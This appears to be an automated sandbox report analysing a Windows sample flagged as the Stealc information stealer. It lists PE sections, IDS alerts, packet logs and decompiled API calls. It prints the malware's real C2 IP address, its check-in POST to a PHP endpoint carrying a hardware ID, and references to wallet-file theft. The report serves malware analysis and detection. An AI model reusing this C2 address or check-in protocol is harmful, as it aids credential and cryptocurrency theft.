IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	e7159ffa3568b45fa3b2b8962d1733f1	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x29c000	0x200	8986414a4283016787d364827c1139d7	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
pypkqjdw	0x4fa000	0x199000	0x198600	244bd8c28c640b55e029112112d77f7d	False	0.9947862861570248	data	7.954735554227634	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
fqpfwnfj	0x693000	0x1000	0x400	2783b76b2e8883456f84738cca2afa5e	False	0.76953125	data	6.045613105784281	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x694000	0x3000	0x2200	8e1cf350a09aa419ed23d4046073b9f8	False	0.05893841911764706	DOS executable (COM)	0.8287402387401129	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-27T11:26:07.373709+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2024 11:26:06.398092031 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 27, 2024 11:26:06.404483080 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 27, 2024 11:26:06.404596090 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 27, 2024 11:26:06.404795885 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 27, 2024 11:26:06.409606934 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 27, 2024 11:26:07.132663965 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 27, 2024 11:26:07.132807970 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 27, 2024 11:26:07.137233973 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 27, 2024 11:26:07.144748926 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 27, 2024 11:26:07.373567104 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 27, 2024 11:26:07.373708963 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 27, 2024 11:26:11.487101078 CEST	49704	80	192.168.2.5	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.37	80	1216	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:26:06.404795885 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Sep 27, 2024 11:26:07.132663965 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 09:26:07 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 27, 2024 11:26:07.137233973 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFBAECBAEGDGDHIEHIJJ Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 45 36 33 33 39 39 32 46 39 46 35 31 36 36 30 34 39 33 34 38 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 4a 2d 2d 0d 0a Data Ascii: ------KFBAECBAEGDGDHIEHIJJContent-Disposition: form-data; name="hwid"AE633992F9F51660493485------KFBAECBAEGDGDHIEHIJJContent-Disposition: form-data; name="build"save------KFBAECBAEGDGDHIEHIJJ--
Sep 27, 2024 11:26:07.373567104 CEST	210	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 09:26:07 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	05:26:04
Start date:	27/09/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x940000
File size:	1'828'864 bytes
MD5 hash:	219066AC9697D1CDEB536BC4EA74C123
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2045915798.00000000052E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2090680717.00000000015CE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 00959860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,015E0588), ref: 009598A1
GetProcAddress.KERNEL32(75900000,015E0738), ref: 009598BA
GetProcAddress.KERNEL32(75900000,015E0750), ref: 009598D2
GetProcAddress.KERNEL32(75900000,015E07B0), ref: 009598EA
GetProcAddress.KERNEL32(75900000,015E0768), ref: 00959903
GetProcAddress.KERNEL32(75900000,015E8840), ref: 0095991B
GetProcAddress.KERNEL32(75900000,015D6400), ref: 00959933
GetProcAddress.KERNEL32(75900000,015D6480), ref: 0095994C
GetProcAddress.KERNEL32(75900000,015E07C8), ref: 00959964
GetProcAddress.KERNEL32(75900000,015E07E0), ref: 0095997C
GetProcAddress.KERNEL32(75900000,015E07F8), ref: 00959995
GetProcAddress.KERNEL32(75900000,015E0558), ref: 009599AD
GetProcAddress.KERNEL32(75900000,015D6460), ref: 009599C5
GetProcAddress.KERNEL32(75900000,015E05A0), ref: 009599DE
GetProcAddress.KERNEL32(75900000,015E0810), ref: 009599F6
GetProcAddress.KERNEL32(75900000,015D63C0), ref: 00959A0E
GetProcAddress.KERNEL32(75900000,015E0840), ref: 00959A27
GetProcAddress.KERNEL32(75900000,015E08A0), ref: 00959A3F
GetProcAddress.KERNEL32(75900000,015D6300), ref: 00959A57
GetProcAddress.KERNEL32(75900000,015E0900), ref: 00959A70
GetProcAddress.KERNEL32(75900000,015D6640), ref: 00959A88
LoadLibraryA.KERNEL32(015E0918,?,00956A00), ref: 00959A9A
LoadLibraryA.KERNEL32(015E0870,?,00956A00), ref: 00959AAB
LoadLibraryA.KERNEL32(015E08E8,?,00956A00), ref: 00959ABD
LoadLibraryA.KERNEL32(015E0888,?,00956A00), ref: 00959ACF
LoadLibraryA.KERNEL32(015E0858,?,00956A00), ref: 00959AE0
GetProcAddress.KERNEL32(75070000,015E08B8), ref: 00959B02
GetProcAddress.KERNEL32(75FD0000,015E08D0), ref: 00959B23
GetProcAddress.KERNEL32(75FD0000,015E8C58), ref: 00959B3B
GetProcAddress.KERNEL32(75A50000,015E8E80), ref: 00959B5D
GetProcAddress.KERNEL32(74E50000,015D64C0), ref: 00959B7E
GetProcAddress.KERNEL32(76E80000,015E8950), ref: 00959B9F
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 00959BB6

Strings

NtQueryInformationProcess, xrefs: 00959BAA

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 6b4639d02e7efe75637739758fa23ce1957a738c93c084bbb72228c489a5f5e1
Instruction ID: 57dd964ab12eba0eff655d626c4395ef212463096516d82934a5714f9a8abe3a
Opcode Fuzzy Hash: 6b4639d02e7efe75637739758fa23ce1957a738c93c084bbb72228c489a5f5e1
Instruction Fuzzy Hash: 2AA12AB95002409FF344EFA8ED88A663BF9F78C701714451BA605D3274DF39A852EB63

Function 009445C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 0094460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0094479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009446B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00944770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009445DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0094462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009446D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00944678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009445C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009446C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0094475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009445D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00944765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00944638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0094473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0094474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00944662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00944734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00944657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009446AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009445F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009446CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00944643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0094466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009445E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0094477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00944713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0094471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00944622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00944683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00944617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00944729

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: d94d1ea50ff358b39bed7fe205818cf9b568dd72735541bd2bddcf4d7790b13b
Instruction ID: 3018641ed45a46739967c185f06b31ff59d9f7598d642dd1c2e9b991cfc2843d
Opcode Fuzzy Hash: d94d1ea50ff358b39bed7fe205818cf9b568dd72735541bd2bddcf4d7790b13b
Instruction Fuzzy Hash: C041F7A17C760C7AC63EBBA6885EEDD76767FC2708F51504AAC4852282CEB06901CF61

Function 00944880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0095A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0095A7E6

Part of subcall function 009447B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00944839
Part of subcall function 009447B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00944849

Part of subcall function 0095A740: lstrcpy.KERNEL32(00960E17,00000000), ref: 0095A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00944915
StrCmpCA.SHLWAPI(?,015EE590), ref: 0094493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00944ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00960DDB,00000000,?,?,00000000,?,",00000000,?,015EE4D0), ref: 00944DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00944E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00944E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00944E49
InternetCloseHandle.WININET(00000000), ref: 00944EAD
InternetCloseHandle.WININET(00000000), ref: 00944EC5
HttpOpenRequestA.WININET(00000000,015EE450,?,015ED9E8,00000000,00000000,00400100,00000000), ref: 00944B15

Part of subcall function 0095A9B0: lstrlen.KERNEL32(?,015E8AB0,?,\Monero\wallet.keys,00960E17), ref: 0095A9C5
Part of subcall function 0095A9B0: lstrcpy.KERNEL32(00000000), ref: 0095AA04
Part of subcall function 0095A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0095AA12

Part of subcall function 0095A8A0: lstrcpy.KERNEL32(?,00960E17), ref: 0095A905

Part of subcall function 0095A920: lstrcpy.KERNEL32(00000000,?), ref: 0095A972
Part of subcall function 0095A920: lstrcat.KERNEL32(00000000), ref: 0095A982

InternetCloseHandle.WININET(00000000), ref: 00944ECF

Strings

------, xrefs: 00944C69
------, xrefs: 00944B28
", xrefs: 00944BF2
------, xrefs: 009449BD
", xrefs: 00944D33

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 2188c472c6a0800d98f088198b39f5957b8d951c42f27d0b27b7cd7707e9049b
Instruction ID: 7f0bc8720427f376c36ccf9b818fea1e67adb35e90d0ec864da97f06759b0aa2
Opcode Fuzzy Hash: 2188c472c6a0800d98f088198b39f5957b8d951c42f27d0b27b7cd7707e9049b
Instruction Fuzzy Hash: 9F12CC71910118AADB15EB91DCA2FEEB778BF94301F504299B60663091EF702F4DCF6A

Function 009578E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00957910
RtlAllocateHeap.NTDLL(00000000), ref: 00957917
GetComputerNameA.KERNEL32(?,00000104), ref: 0095792F

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 04809f690976a6db23de034b432f7ec429e9aa61712481fcf4cc50342e270fbc
Instruction ID: eca10b5dc56846369b0b1b7671aefa477497f0fe6c0102201802226d29876616
